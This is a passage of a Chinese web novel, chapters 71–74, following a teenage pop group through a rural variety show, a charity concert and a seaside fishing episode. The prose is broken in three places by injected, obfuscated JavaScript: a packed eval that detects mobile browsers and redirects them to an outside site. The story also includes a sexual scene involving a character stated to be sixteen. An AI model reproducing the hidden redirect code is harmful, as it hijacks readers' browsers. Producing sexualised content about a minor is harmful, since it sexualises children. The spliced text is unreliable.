邱以星连忙握住孔栩的手,借力从地上站起来,蹲久了猛地站起,腿麻眼花,孔栩就这样牵着他回到车上,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太阳每天都会升起,可这是孔栩人生中第一次见到完整的日出,当火红的太阳升至山巅,世间万物都被涂上一抹亮色,这片刻的光景让他静默地仰着头,久久难以平复内心的震撼。 邱以星的侧脸也被照亮,孔栩情不自禁地看了他一眼。 陈颂提出要合影,于是他们五个人背对太阳站成一排,对着镜头比了个耶。 回去后,孔栩毫无困意,趴在桌上写了一小段旋律,看完日出,他感到内心前所未有的开阔,打算把新歌起名为《衔日》。 大家聚在一起七嘴八舌地讨论,打磨副歌部分,奇迹般的一上午就把曲子写完了。 他们先是纯人声演唱了一遍,觉得挺不错,心头的大石头也终于落了下来。 邵元也挺惊讶的,他估摸着没这么快,总觉得这帮孩子没那么靠谱,有如今的热度,一来是因为徐如夜,二来是因为项汝怡,总而言之是实力不足,水平欠缺,都是他人捧起来的。 听了新歌后,他否定了自己的判断,这帮孩子获得喜爱并非是偶然事件。 直播已经持续了半个月,暑假才过完四分之一,网上充斥着各大视频博主剪辑的他们在山中的片段,搞笑的或者温情的,经常挂在热搜榜第一。 显而易见,这档综艺已经成为暑期爆款,是邵元职业生涯的又一座里程碑。 第二个任务到此圆满完成,然后邵元接到项汝怡的电话,却不是找他,而是找陈颂的。 于是他把陈颂叫过来,陈颂拿过手机,张口就说:“项姐,我们又要没吃的了,马上要效仿王宝钏去挖野菜,我们什么时候能刑满释放啊?” 对面却不是项汝怡,而是一道熟悉的男声,陈颂惊讶:“哥?” 他立即大呼小叫起来:“哥,这罪我真是受够了,我被蚊虫咬得身上没一处好地方,惨绝人寰不过如此!” “当我没看综艺吗?就咬了三个包,可把你委屈的。”陈闵云淡风轻地说,“我打算趁热打铁给你们办一场演唱会。你觉得怎么样?” “啊?”陈颂一时间没反应过来,“演唱会?” 71. 第 71 章 他们毕竟是歌手组合,开演唱会是早晚的事,可这也太快了,他们几个人一点准备也没有。 还有,票能卖得出去吗? 别一顿操作猛如虎,一看就票就卖了几张。 因为老总的一句话,他们一晚上都在焦虑这件事,陈颂继续睡帐篷,说想一个人冷静冷静。 孔栩这时才后知后觉,陈颂哪是想一个人冷静,他是不想跟他和邱以星一个屋,给他俩腾地方。 孔栩和邱以星躺在床上,少了一个人,空间变大很多,两人之间的空隙还能再塞一个人。 邱以星平躺着,孔栩背对着他,想演唱会,想这个镇子,想小满和小满的爷爷,还有三五不时给他们送货来的小卖部老板。 演唱会是他们最后的一个任务,然后他们就得跟这个地方告别,或许一辈子都不会再来这里。 孔栩想到这,忽然产生几分伤感,他翻了个身,想去关灯,结果看见邱以星不知什么时候转了过来,正眨也不眨地望着他。 “你干什么?吓我一跳。”孔栩嘀咕一句,刚要起来,邱以星却慢悠悠地开口:“小木鱼,你是不是在故意躲着我?” 孔栩:“我什么时候……” 邱以星:“那你为什么离我那么远,平时你都抱着我睡的。” 孔栩的眼神有些躲闪:“……呃,就,没必要。” “怎么就没必要了,我都睡不好了。”邱以星说。 “不合适,”孔栩犹豫,心里有些难过,“搂着男的像什么话。” “我说像话,”邱以星张开双臂,向他敞开怀抱,“我想抱抱你。” 孔栩啪的一声关掉灯。 他钻到邱以星被子里,像过去一样紧紧搂住邱以星的腰,脸贴着他的胸口,闻着邱以星身上好闻的气味。 “邱以星,”孔栩轻声念叨着邱以星的名字,“邱以星,你能不能不要……” 邱以星“嗯?”了一声。 你能不能不要喜欢别人。 孔栩有些委屈,眼眶无端发热,终于想明白过来了,他不要邱以星喜欢别人,陆笑蓉不行,谁都不行,哪怕那个人再完美无缺也不行。 他不要邱以星喜欢别人。 邱以星等了半天没等到后文,他追问:“不要什么?” 孔栩微微晃了晃脑袋,摸了一下他脖子上还没褪色的牙印,问:“还疼不疼?” 邱以星:“如果我说疼,你打算怎么办?” 孔栩的手指还在他脖子上无意识地瞎蹭,邱以星的气息变得重起来,又说了一遍:“你要怎么办?” “那亲一下好了。”说完孔栩便仰头,在牙印的地方亲了亲。 柔软的嘴唇轻碰一下就分开,孔栩意识到自己做了什么,惊恐万分地想:我是被鬼上身了吗?我……亲他干什么? 拥抱是常有的事,可以给他带来安全感,大家搂搂抱抱在一起也十分正常,显得他们关系好,可亲吻就是另外的意思了。除却好奇心作祟,孔栩作为一个洁癖患者,剩下的只能是“喜欢”或者是“非常喜欢”。 他明显感到邱以星的身体也僵住了,他大气也不敢喘,半晌没有动作。两秒后,邱以星猛然间动了,他抬起有力的手臂,环住孔栩肩膀,将他抱在自己身上。 邱以星的手已经伸到孔栩睡衣里,孔栩被惊得一颤,他滚烫的手心正没轻没重地揉捏他的腰,孔栩死死地攥紧邱以星的衣服,一种不同寻常的感受遍布他四肢,他低低地喘息一声,又立即屏住。 孔栩的眼圈泛红,有些恐惧,又有些无助,好在邱以星很快停了下来,他的呼吸声显得又粗又重,似乎非常难受,邱以星紧紧抱着他,问:“我吓着你了?” “还好。”孔栩补充说,“我没事。” 邱以星解开他睡衣的扣子,又询问他:“我也能亲你一下吗?” 孔栩的脑子转不过来了,他晕晕乎乎地点了下头:“嗯。你想亲——” “哪里”两个字他还没来得及问出口,邱以星便搂着他调换了上下的位置,邱以星弓起脊背,借着透进窗来的朦胧月光俯视他的脸,孔栩顿时一个字都说不出来了。 孔栩光是看着他,心里便是一阵无法遏制的心动。 他太紧张了,心跳得异常快,几乎要蹦出胸腔,直觉他们在做一件很不好的、项汝怡会大发雷霆的事。 孔栩发现自己很渴望邱以星的吻,他很想凑近邱以星,让他继续触碰自己,哪里都好,兴奋像是一阵漫天卷地的龙卷风席卷而过,令他头昏目眩不知所以。 可怕的失控感……与极致的快乐,孔栩被两种感受拉扯,几乎要撕成两半,他搂紧邱以星的脖子,在他怀里不由自主地抽动了两下,浑身软得没有丝毫力气,过了很长时间,孔栩突忽然小心地问:“……邱以星,我变成大人了吗?” “你想什么呢,还早得很。”邱以星摸了下他的脸,发出一声低低的笑,“睡吧你,什么时候了。” 听他这么说,孔栩才觉得困,他的声音越发低沉,眼皮也逐渐阖上,可嘴巴还在一张一合,说着什么,邱以星听不清楚,只想亲亲他红通通的嘴巴,可最后他只是垂下头在孔栩的眼皮上印下一吻。 这个家伙什么也不懂。 邱以星苦笑,好像做了一场酣畅淋漓的梦,梦里的孔栩还是头一回这样配合他。 他分外留恋地抱紧孔栩,不想跟他分开片刻,心中涌动着奇怪的满足感。 这时,白色影子的声音不合时宜地忿忿道:“邱以星,你可真是卑鄙!你在故意引诱他!” “没错,”邱以星承认,“你这么激动,是在嫉妒我?” 影子说:“他还不知道你到底是怎样的一个疯子。” “那又怎么样?”邱以星的声音又冷又硬,“我不会让他知道的。” “你瞒得了一时,能瞒得了一世吗?”影子尖叫着控诉,“你这样是要下地狱的!” “没关系,”邱以星淡淡地说,“下地狱也好,不得好死也好,只要能在我清醒的时间做我想做的事,怎么样都行。” 白影子急遽沉到暗处,不再说话了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208979|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >邱以星去卫生间冲了个澡,睡了两个小时又醒了,睡不着就支起手臂近距离的看孔栩的脸。 清晨的第一缕光线照在孔栩的眼窝,缓慢下滑至他的鼻梁,而后是嘴角。 他懒洋洋地翻了个身,哼唧一声,睁开惺忪的眼,一眼就看到邱以星微笑着看他。 孔栩怔怔地愣了两秒钟,随即捂住眼,从指缝里瞄他,耳廓发红,带着点哑地问他:“什么时候了?” “六点多。”邱以星回答。 孔栩往被子里缩了缩,只露出一双狡黠的黑白分明的眼睛:“邱以星。” 邱以星:“嗯?” “邱以星。” “干什么?” “邱以星。”孔栩不说其他,只是叫他的名字,邱以星嘴角弧度变大:“嗯?” 孔栩两手搂住他脖子,往他喉结上贴了贴自己的嘴唇:“邱以星。” 我好喜欢你啊。 孔栩叫他一遍,他应一声,孔栩心满意足地舒展四肢,伸了个很长时间的懒腰,他脸红红的跳下床去洗漱,洗完回来还想再跟邱以星腻歪一会儿,结果陈颂打了个大喷嚏进来了,他一脸菜色地说:“我的头好痛,小木鱼你帮我借个温度计,我量一下。” 陈颂高烧39.8度,一整天大家都围着他嘘寒问暖,孔栩和邱以星尤为心虚,更加卖力地给他捶背捏腿讲笑话。 大夏天的发烧实在太难受,大家照顾了陈颂两天,烧终于在晚上退下去了,众人松了口气,邱以星在厨房煮粥,拌小菜,晚上吃点清淡的,降降火。 饭后孔栩主动去洗碗,他和邱以星挤在狭小的厨房里,自得其乐地哼着歌,陆笑蓉和夏桃杉对视一眼,都从对方眼中读出了一丝耐人寻味的意味。 又过了两天,他们投入到了演唱会的排练当中。 演唱会的曲目除了他们自己的几首歌,又找徐如夜要了几首,舞台布置是他们和工作人员一同完成的,简简单单的一个圆形舞台,邵元说这场演唱会是公益性质的,不会贩卖门票,但现场会进行直播,收益全部捐给这个镇子盖小学。 他们一听更是干劲满满,忙活了三天把舞台搭起来,给镇子里的男女老少发他们自己画的传单请他们来看演出,大家闲着也是闲着,纷纷应邀前来。 正式演出那天,公司派人来给他们化妆做造型,许久不见的两个助理也来临时搭建的简陋后台忙前忙后,项汝怡怕他们紧张,没说有多少人在看,只让他们尽情享受,让场子热起来。 他们穿着青春活泼的舞台服装,毫无惧意地站上舞台,台下聚集了一帮老头老太太,还有一群穿开裆裤的小屁孩,小满和他爷爷也在台下,满心期待地看着他们。 这是一场别开生面的演出,很多年后他们五个人肩并肩站在一起的模样仍然被人不断提起,舞台上的每一个人都那样夺目耀眼,他们自信地高唱他们的理想与美梦,将热汗与热泪洒在他们热爱的伟大事业上。 那时候孔栩觉得他们会永远在一起,永远一起写歌唱歌,永远牵紧彼此的双手,谁都不会先松开。 72. 第 72 章 回岚江已经有一周,他们仍然感到世界很不真实。 他们来时坐的车,回去坐飞机,来接机的人把路口都堵住,形成一股前所未有的巨大浪潮,涌向他们。 项汝怡已经做好准备,没想到人还是超出她的想象,陆笑蓉一点也不羡慕,反倒有点幸灾乐祸:“他们冲着谁来的?超级巨星啊。也太倒霉了,会被挤成肉饼吧。” 紧随其后,她看见这股浪潮他们奔流而来,孔栩张大了嘴巴:“不是吧。” 几乎要掀翻屋顶的尖叫声,闪光灯几乎闪瞎人眼,无数人在不停呐喊他们的名姓,小晨和思思将他们严防死守在中间,邱以星一条胳膊圈住孔栩,将他的鸭舌帽往下拉了拉,这一动作又引起一阵尖锐的鸣叫。 孔栩不明所以,心中很是恐慌,好不容易上了车,回到公司,发现公司大门外也是人山人海,孔栩又把车窗拉上了,郁闷道:“什么情况这是。” 项汝怡只好掉头,把他们安排在附近一家高档酒店,走的VIP通道,几人做贼似的躲进屋子里,项汝怡才让他们上网,看看最近的新闻头条。 不看不知道,一看吓一跳,陈颂大呼小叫地跳起来:“真的假的,‘现象级直播综艺爆火,小作坊艺人得道鸡犬升天’?这谁起的标题?” 他们几个毛绒绒的脑袋凑在一起,一目十行地浏览这一个多月他们错过的各大重要消息,越看心就跳得更快一点。 项汝怡说由于他们的成功宣传,给呼也镇的发展拉到了很多投资,除了已经开始动工的几所希望小学,现在社会上无数爱心人士捐书捐衣服什么的,老总还带头和政府相关部门合作修路,这可是一项大工程。 除此外,老总打算在当地建一个旅游基地,搞搞民宿——这是陈闵最擅长的事,他看直播时发现了还未被开发的僻静乡镇中潜藏的巨大商机,打算借光5的噱头引流一波,山上的小木屋也被保留下来,作为一个标志性的打卡点。 他们回到了自己的家,邱以星没告诉尚问兰自己的工作已经结束,他暂住在孔栩的出租屋里,两个人整整厮混了一个星期。 如果要问孔栩,他最喜欢的季节是什么,孔栩会毫不犹豫地回答“夏天”。 世界到处流溢着透亮的光,白昼是那样漫长,他太喜欢这样明亮的日子了,尤其喜欢早上一睁眼就能听见邱以星在厨房做早饭的动静。 厨房里的锅碗瓢盆都是邱以星买的,孔栩平时很少做饭,要么点外卖,要么随便下点面条,邱以星过来后,孔栩的生活质量直线上升。 邱以星上身穿着件松松垮垮的白色背心,手脚麻利地煎着鸡蛋,孔栩刷完牙洗过脸就凑过去亲他。 薄荷味的清冽味道,孔栩很迷恋用嘴唇触碰邱以星的一切,喜欢碰他微凉饱满的嘴唇,喜欢亲他高挺的鼻梁和他温热的眼角,他如此描摹邱以星英俊的脸,下巴懒洋洋地垫在他肩膀,觉得不够,还要用侧脸贴在他脖颈,感受他的体温。 邱以星单手把孔栩按在怀里,另一只手熟练地给煎蛋翻了个身。 吃完早饭,孔栩把课本拾掇出来,带着邱以星学习。他给邱以星布置了几项任务,写完小半本习题册后,蹲在椅子上看课外书,邱以星坐在他边上,偶尔把手伸到孔栩衣服里抚摸他光滑的脊背,一边背单词。 无所事事的上午就这样被他们挥霍,午后他们躺在一起午睡,孔栩无比自然地蜷邱以星怀里闭上眼睛,睡两个小时起来,他们再打一会双人游戏就到了晚饭时间,中午的饭菜如果还有剩就放微波炉热一热,没得剩就做个两菜一汤,孔栩捣乱一样给邱以星打下手。 一直到太阳落山,孔栩和邱以星去小区外面扫了两辆共享单车,沿着无人的马路慢悠悠一前一后地骑着消食。 迎面吹来自由又散漫的风,孔栩的额发被吹起来,道路前方有个下坡,他忽然站在脚踏车上,朝下俯冲,风灌满他的T恤,他弯着眼角,发出一声愉快的轻呼。 邱以星紧随其后,朝他的背影喊:“慢点!” 孔栩置若罔闻,一个劲地朝前骑着,这段时间不出门,除了想好好休息之外,也因为他们几个现在一到人流大的地方必然会造成拥堵,为了避免引起不必要的麻烦,就只好呆在家里。 在这样凉爽安静的夜晚无忧无虑地骑车,简直是一桩美事。 绕了一圈又骑回闹市,街边到处都是小吃摊子,各色商店灯火通明,孔栩戴上口罩,下车买了一袋炸串带回家吃,邱以星停在路边等他。 孔栩哼着歌,两眼亮晶晶地朝他看过来:“邱以星,回家了!” 邱以星喜欢他说“回家”两个字,好像他真的拥有了一个可以让他栖身的家,哪怕只是孔栩租的,他们两个也过出了一种“家”的感觉。 可以容纳他所有疲惫,给他无尽勇气与快乐的家。 晚上两个人轮流洗完澡,孔栩戴上耳机开始弹电钢琴。 他新买的琴,便携式的能折叠,放哪儿都方便,为了让自己的手不生疏,他每天还是会花几个小时练琴,手感虽然没真钢琴好,不过聊胜于无。 邱以星擦着头发从卫生间出来,孔栩分给他一只耳机,让他跟自己一起弹。 弹的是《衔日》的钢琴版,他们不用看谱,每个音符都牢记于心,孔栩享受着每一秒,邱以星的琴练得已经十分熟练,他们又弹了几首别的,合作默契愉快。 孔栩此刻再看邱以星,觉得这个人哪哪都好,他反身跨坐在邱以星身上,自然而然地啄吻他的嘴唇。 邱以星顺其自然地搂住他的腰,张开口迎合孔栩的亲吻。 亲了好一会儿,孔栩的手机突然响了,是他定时的闹钟,孔栩连忙去够手机,一边恍然大悟:“哦,今天是电视剧的大结局,我要和蓉蓉连麦看!” “孔栩!”邱以星咬牙切齿地拎着他衣领,把他拽回来,“你往哪跑?” “真的,我跟蓉蓉约好了,”孔栩笑着回 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孔栩靠在邱以星怀里听她讲话,一只手还不安分地摸来摸去,邱以星没耐心听,几次三番暗示孔栩挂电话,陆笑蓉似乎注意到,忽然冒出一句:“那什么,你们节制点儿啊,小木鱼你才十六……” “跟你有什么关系,看你的电视剧吧!”邱以星愤愤地夺过孔栩的手机,按了关机键。 孔栩天真地仰头看他:“她什么意思?” 邱以星把他的眼睛蒙上:“说你要节制点,少看电视剧。” 孔栩的睫毛在他手心乱动,乐呵呵地说:“胡说八道。” “没骗你,睡觉去。”邱以星一只手关掉电视机,另只手把孔栩往怀里一捞,扛回卧室。 可能是白天睡太多,晚上有点睡不着,孔栩在听着耳边邱以星匀称的呼吸,开始想东想西。 他现在和邱以星的关系算是什么? 孔栩电视剧看了不少,从陆笑蓉那也听了很多八卦,知道两个男人在一起过日子并不是天方夜谭,甚至他们可以去同性婚姻合法的地方结婚,而且何斯清现在不管他,几乎没有任何阻力阻止他和邱以星在一起。 邱以星跟他的想法一样吗? 他是怎么看我的? 孔栩知道邱以星是洁身自好的人,不会跟不喜欢的人接吻。 他也喜欢我,孔栩笃定地认为,他是喜欢我的。 他们之间只隔着一层透明的窗户纸,孔栩觉得自己有义务捅破这层纸,比如说对邱以星告白,也给他写写情书什么的,送他一束玫瑰花,像其他互有好感的人那样,有一个正式庄严的交往过程,每年都有几个纪念日。 然后他就可以宣布,邱以星是他的,谁也不能碰,不能起歪心思。 他渴望一直跟邱以星住在一起,像今天这样生活,直到老死的那一刻。 孔栩越想越兴奋,很想爬起来把邱以星晃醒,又觉得这是一个惊喜,不能提前让邱以星知道。 他需要好好规划。 73. 第 73 章 转眼八月份过去,又是一年一度的开学日,他们继续着学校中的平静与校外被人簇拥欢呼的无比割裂的生活。 在学校,大家都跟约好了似的,不会主动来打搅他们,他们如果参加什么活动,只是远远地注视,不会让他们感到困扰。 以及,高二的学习要更加紧张,每天写不完的试卷和习题,实在分不出多余的精力去追星,顶多拜托跟他们关系不错的好友要个签名。 孔栩尚且能应付忙碌的学习,其他人就没有他这么轻松了,每次出去陈颂他们都紧锣密鼓地在车里奋笔疾书赶作业,孔栩总是最先完成的那个,会给每个人检查作业,并圈画出重难点,给每个人的薄弱点打印资料,帮助他们复习。 公司如陆笑蓉所说,确实搬到了更大的地方,老总买了一整栋楼,安保极好,他们每人都分到一间独立的屋子,公共设施包括健身房、厨房、影院一应俱全,甚至还有一个很大的游泳池,待遇简直是好的没边了。 不过孔栩还是更愿意跟邱以星挤在一起,这事被项汝怡知道了,项汝怡有些奇怪地看了他们一眼,网上说他俩“在谈”的言论甚嚣尘上,她当时并没有特别放在心上,孔栩和邱以星一向关系要好一点,这不比那些面和心不和,一关上门就给对方使绊子的所谓“队友”要好么。 项汝怡就提醒了一句他们“要注意分寸”,就没多说什么。 接下来的日子,他们辗转于各大杂志与广告的拍摄中,每天的行程爆满,同时第一张专辑实体版开始售卖,销量不用多说,第二张专辑也开始筹备。 学校那边请了长假,一般有大考才回去考试,最高兴的要属陆笑蓉,学校知道她情况特殊,特别允许她可以不用住宿。 也是这段时间,他们收到了来自呼也镇希望小学里几位小朋友的回信。 项汝怡以他们的名义发起了一批资助,学校那边组织了写信活动,最后这些感谢信千里迢迢转交到了他们几个人手中。 孔栩读完后,空闲时趴在桌上认真地写回信——回信不做强制要求,不过他看到小朋友稚嫩又工整的字迹,内心很是感动,回信里写满了加油鼓劲的话语,祝他学业有成,将来为建设家乡做贡献。 转眼间,冬风又至。 项汝怡说给他们接了一档真人秀综艺,他们一个个吓得面如土色,齐齐大声说:“不是吧!又来?” “玩也不乐意?跟之前不一样,”项汝怡解释说,“这次目的地是去海岛,计划录制一期《海岛来客》,跟节目组商量好了,就是钓钓鱼,吹吹海风什么的,算是让你们公费旅游,放松一下。” 众人半信半疑,果不其然项汝怡补充说:“哦,对了,Shamash也去,注意言行举止,我估计这档节目播出后,网上会掀起一阵腥风血雨,你们可要顶住了。” 众人:“……” 知道Shamash也去之后,陆笑蓉打起了十二万分的精神,握拳说:“这不是一场综艺,而是一场战斗。” 夏桃杉百分百支持好友,同样面目凝重地握了一下拳头:“没错。” 他们一下飞机,就被节目组派来的人接去了海岛上,偌大的海岛是海边的一座小城,游人往来,络绎不绝,海边停泊着大小与颜色各异的船只,洁白的海鸥铺天盖地地飞舞,他们穿着厚衣服,热出一身汗,连忙洗了个澡,换上夏季凉爽的套装。 项汝怡带着两个小助理全程陪同,这令他们有了十足的安全感。 他们先在民宿吃了一顿简单的午饭,随后在餐桌旁见到了Shamash的成员也陆续走过来。 这帮人是真来度假的,穿着花花绿绿的衬衫,戴着墨镜与遮阳帽,大老远的感到一股巨星之气扑面而来。 之前虽然见过面,但不熟,仅限于点头之交,光5爆火,简直一夜间家喻户晓,几乎动摇了Shamash国内第一组合的交椅。 孔栩从接到参加节目的通知后,一直感到很困惑,不知道策划这档节目的人脑子被驴踢了还是怎么着,为什么把他们两个组合放在一起,也不明白Shamash为什么会同意参加,难不成也想公费旅游吃喝一波? 他一边胡思乱想,一边站起身,跟大家一块礼貌地跟他们打了个招呼,简单寒暄一番。 对方五个人倒是挺亲切和善的,对他们没有表现出什么敌意与攻击性,这让孔栩松了口气。 吃过饭,稍作休息后,他们拿到今天的任务卡,说是一小时后去游艇上海钓。 这十人分成两队,哪队钓得多,哪队算赢,赢了的晚上享用海鲜大餐。 项汝怡自己一人悠哉悠哉在岛上闲逛,留下他们几人去钓鱼。 他们一行人有说有笑地到了码头边,两侧停满了白色小艇,附近的场子都被包了下来,看不到其他的陌生人。 孔栩他们凑在一起讲小话,陈颂信誓旦旦说他们一定会赢,邱以星问他为什么这么有自信,陈颂支支吾吾说不出所以然,他挠了挠鼻尖,神秘地微笑:“拭目以待吧朋友们。” 海钓对孔栩来说是很新奇的事,他只在池塘里钓过鱼,一下午只钓上来巴掌长的小鲫鱼,他见小鱼可怜巴巴的,又给扔了回去。 不管能不能赢,孔栩都期待极了,邱以星见他的脸都兴奋红了,不禁手往他肩膀上一搭:“这么高兴,看你今天都钓上来几条。” 孔栩笑了笑,对自己的要求放得很低:“不管几条,不空手而归就行。” 游艇一直往东航行了二十多分钟,海水清澈碧蓝,头顶的天仿佛也被海水映得碧透澄净,海风吹得人浑身每个毛孔都张开,舒适得想让人跳进海里游上几圈。 游艇停下时,还能看得到远处的海岸线与连绵的青山。 海钓的教练给他们讲解钓竿的使用方法以及钓鱼时的注意事项,孔栩一本正经地听着,陆笑蓉打趣说:“学霸,听明白了吗?” 孔栩听是听明白了,可能不能做到是另外一回事,他看了眼四周,对陆笑蓉低声说:“Shamash他们之前受邀做过类似的节目,海钓应该也很有经验。” 陆笑蓉撇嘴:“哼,经验算什么,有时候运气也相当重要。” 夏桃杉对她说:“好了,别吹大牛了,认真点。” 三小时倒计时正式开始,他们给钩子上扎上鱼肉当做是饵,远远地将线抛了出去。 Shamash他们在船的另一侧,不到一分钟就传来他们的欢呼,班凌大声说:“快,快,是一条石斑!” 首战告捷,刚下钩子就钓上来一条大石斑,对面士气大涨,衬得这边灰头土脸,死气沉沉。 “别灰心,还早着呢,”陈颂心里不服气,脸上却得表现出一点也不在乎的样子,“这才刚开始。” 孔栩“嗯”了一声,专注地盯着自己的钓竿,海水一起一伏地流动着,过了几分钟,他看见钓竿猛地往下一沉,他快准收线,一条喜庆的红鲷鱼甩着尾巴跃出海面,鱼鳞在阳光下闪闪发光。 “啊啊啊啊啊——”他们的尖叫声几乎响彻云霄,似乎在跟Shamash比谁嗓门大。 过了一个多小时,他们身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216909|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小桶里都有几条战利品,黑鲷最多,金鲳鱼其次,对面的尹睢之侥幸钓上来一条东星斑,孔栩眼睛都直了。 至此,班凌他们还是要略胜一筹,陈颂却告诉他们要耐心,慢慢等,说不定奇迹会发生。 又过了大概半个小时,事情终于出现了转机。 孔栩他们这一侧仿佛打开了钓鱼模式,上一条鱼刚从钩上解下来,下一条又紧随其后,不出片刻,每个人的小桶已经装不下,让人又拿来几个大桶。 这种现象实属罕见,像是有人在这打了个超大的窝,源源不断的鱼涌过来,除了令他们眼红的东星斑,还有黄唇和鳐鱼,甚至他们还钓上来几条黄鳍金枪鱼。 在最后十几分钟,他们以绝对优势远超班凌他们队,完全不用称重,肉眼可见地赢了。 一望无际的海面依旧风平浪静,唯有几个不明显的起泡从海底浮出,转瞬间消失于无形。 尹睢之提着小桶来到孔栩他们面前,他眯着眼,仔细打量他们钓上来的鱼。 大的小的,各种颜色,不一而足。 随后他好奇地问:“怎么,近海也有金枪鱼吗?” 班凌是身经百战的海钓高手,闻言一顿,感兴趣地蹲下身。按理说,他们不可能在现在的位置钓到深海的金枪鱼,再说了,他们这游艇和钓竿根本拉不动这种鱼。 他低头,想到了什么,掩嘴笑了一下,又说:“是啊,你看,我倒是不知道这片海域还能钓上来秋刀鱼。” 秋……秋刀鱼……果然有几条半死不活的秋刀鱼躺在桶里,他们只顾着钓,压根没想到这个问题。 陈颂的脸都青了,心说,这帮不靠谱的,就不能做点功课再来作弊,他要让陈闵给他们扣工资! “看来老天也在帮你们,”班凌没有深度追究鱼到底从哪儿来,反倒是笑意盈盈地恭喜他们,“你们晚上有口福啦。” 陈颂面红耳赤:“呃……还行。” 从码头回来,已经是傍晚了。 海风轻柔地吹着,他们赤脚沿着沙滩一路漫步回来,孔栩和邱以星并肩走着,仍然不解为什么他能钓上来金枪鱼,邱以星不想让他“海钓超厉害”的幻觉破灭,转而说:“陈颂说想邀请班凌他们跟我们一起吃海鲜大餐。” “好啊,”孔栩对他们没有陆笑蓉那样的仇恨,“大家聚一起更热闹,还能显得我们大方。” 邱以星:“是是是,小木鱼现在会做人了。” 孔栩得意道:“跟你们这群人精呆一块,总得学点什么吧。” 孔栩抓着邱以星的手臂,脚踩在柔软的沙子上。 沙滩上有各种各样的小贝壳,他弯着腰捡了许多形状可爱的,又找到了两个大海螺和一个金黄色的海星,他一并放在自己的小桶里。 “捡回去干什么?”邱以星问。 “做个纪念,”孔栩说,“纪念第一次海钓。” 邱以星:“没想到你这么有仪式感呢。” 孔栩理所当然地说:“那当然,毕竟是跟你一起。” 他说的是“跟你一起”,不是“跟你们一起”,孔栩不知道邱以星有没有听出来。 孔栩想了想,喊他的名字:“邱以星。” 邱以星看向他:“嗯,怎么了?” “我送你的录音机带了没?” “没有,在家里。问这个做什么?” 孔栩说到这,脸色红红的:“之前答应给你录的睡前故事还没录完,你记得带给我,我抽空再录几个。” 邱以星笑:“好啊。” 74. 第 74 章 一直到天完全黑下来,他们十个人围着一张长桌,露天吃海鲜大餐。 这顿饭他们借用了餐厅的厨房,会做饭的在一起处理食材,不会做的提供情绪价值,抓着半截胡萝卜,唱搞怪的歌。 “萝卜要当配菜的,你别全吃了啊!”陈颂看见尹睢之偷偷摸摸从盘里顺走一根胡萝卜,连忙制止。 “让他拿吧,我不爱吃。”班凌说。 “可是我爱吃!”陈颂咆哮,“你们怎么这样,前辈能不能有一点前辈的自觉?” 另一边池丰缠着孔栩软磨硬泡,让他和自己一起弹钢琴。 池丰和班凌的气质天差地别,班凌是他们队里的男妈妈,说话做事稳重可靠,就是脾气有点大。他什么都管,他骂池丰嘴碎,少说话多干事,让尹睢之别没事就跑角落里打电话,叮嘱韦滨和叶子白别跟个木桩似的,动起来。 可其他人并不鸟他,虽然不鸟他,可班凌并不气馁,该说的一句不少。 孔栩用充满同情的眼神看着班凌。 “别看他了,他有什么好看的,傻大个,就长得高。”池丰打断孔栩的思绪,凑上来问他,“之前我说过,很想跟你合作,现在机会来了,不能赏脸弹一首吗?” 他好声好气地请求,孔栩要是拒绝就显得太不识相了,他犹豫了一下:“等会儿吧,我看看他们饭做得怎么样了。” 孔栩来到邱以星身边,邱以星系着围裙,拿着一柄锋利细长的刀切金枪鱼,他问:“你们刚刚在说什么?” “哦,池丰让我跟他合奏。”孔栩说,拿来一个白色盘子,帮忙摆盘。 邱以星:“没别的了?” “啊,”孔栩想了想,低声又说,“真不知道他们干什么来的。” 邱以星:“我看那个池丰,人挺邪门的,你离他远点。” 孔栩微微思索:“他?是有点,不过他跟电视上长得不太一样,我估计是没化他那标志性的眼线。” 尹睢之拿着根胡萝卜到角落里啃,一边啃一边给谁打电话,班凌气得抄起桌上一包纸巾往他脑袋上砸过去:“过来端盘子!” 这顿饭吃到了晚上八点多,每个人都吃得肚皮滚圆,吃完,班凌差遣没做饭的去洗碗,休息半小时后,孔栩和池丰来到餐厅唯一的那架三角钢琴前即兴合奏《花之舞》。 孔栩想起之前池丰说要跟自己切磋的事,他弹琴时还没怯过场,问池丰:“录着呢,万一弹得很差劲怎么办?” “这不简单,剪了呗。”池丰对此经验丰富,“正片播放之前要不给你过目一下?” 孔栩欲言又止:“这不太好吧。” “有什么不好的,他们都这么干。”池丰侧过脸对孔栩讲小话,“尤其是尹睢之,他录综艺的时候经常录着录着人就不见了,有很多都是后来补拍的,你没发现他镜头都特别少吗?明明是他自己的问题,他粉丝都在声讨节目组,说节目组偏私对他有意见什么的,真是天大的冤枉。” 孔栩:“……” 邱以星坐在一边的沙发上,大腿翘二腿,抿唇,眉头拧在一起。 曲子优美得令人心神沉醉,孔栩不禁偏头看了池丰一眼,有些吃惊地问:“你弹得这么好?” 池丰一点也不谦虚地说:“那当然,不比你差吧。” 